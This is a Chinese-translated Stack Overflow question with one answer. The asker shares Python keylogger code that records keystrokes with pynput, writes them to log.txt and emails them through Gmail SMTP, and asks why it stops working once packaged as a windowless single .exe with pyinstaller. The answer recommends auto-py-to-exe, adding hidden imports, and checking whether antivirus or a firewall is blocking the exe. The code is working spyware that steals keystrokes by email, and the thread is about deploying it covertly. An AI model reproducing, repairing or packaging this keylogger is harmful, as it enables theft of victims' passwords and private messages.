我正在使用python3.5中的keylogger代码。它在txt文件中用pynput记录击键,并使用smtplib发送通过电子邮件记录的击键。当它是一个.py文件时,代码可以正常工作,但不会在文件中记录击键,也不会在使用pyinstaller转换为.exe文件时通过电子邮件发送它们。请帮我找出造成这个问题的原因,并解决它。谢谢你调查此事。祝你今天愉快!我使用命令pyinstaller -w-F filename.py来转换它。
from pynput.keyboard import Listener
import smtplib
#Var that counts for the if statement==========
c = 0
#Var that collects keystrokes for email========
strokes = ''
#Codes for the smtp email======================
serv = smtplib.SMTP('smtp.gmail.com', 587)
serv.ehlo()
serv.starttls()
serv.login('email@gmail.com', 'password')
#Function for writing keycodes to the file=====
def writeToFile(key):
global c, strokes
keydata = str(key)
keydata = keydata.replace("'","")
`enter code here`#Special keys decoder===========================
if keydata == 'Key.space':
keydata = ' '
if keydata == 'Key.shift_r':
keydata = ' (r_shift) '
if keydata == 'Key.shift':
keydata = ' (l_shift) '
if keydata == 'Key.ctrl':
keydata = ' (l_ctrl) '
if keydata == 'Key.ctrl_r':
keydata = ' (r_ctrl) '
if keydata == 'Key.enter':
keydata = ' (enter) \n '
#Opens or creates the log file===============
with open("log.txt", 'a') as f:
f.write(keydata)
c += 1
#Keystrokes are added for the email==
strokes = strokes + str(keydata)
#Condition for sending the email=====
if c >= 10:
print(strokes)
c = 0
serv.sendmail('email@gmail.com', 'receiver@gmail.com', strokes)
serv.close()
#For listening to keycodes==================
with Listener(on_press=writeToFile) as l:
l.join()
发布于 2019-07-28 10:14:27
对我来说,pyinstaller对我来说是个头疼的问题,使用自动py工具会对你有所帮助。2-当运行.py文件时,它告诉pc :我在python的解释器领导下,所以我可以访问所有python。但是当运行exe时,它是未知的软件,所以请检查反恶意软件/防火墙是否阻塞了您的exe软件。
Auto-py-to-exe帮助我将py转换为exe。一开始,我的exe没有工作,经过一些搜索后,我发现大多数问题是由于隐藏的导入/文件,您必须手动添加它们。那么如何在自动中做到这一点呢?
要使用添加模块:您使用的是哪些模块?例如:如果需要安装请求库以使代码正常工作,则使用auto to -exe并有添加文件的选项,可以使用它添加来自网站包文件夹的请求。
获得更多帮助和解释+自动py-to-exe故障排除这会有帮助的
https://stackoverflow.com/questions/57239618
复制相似问题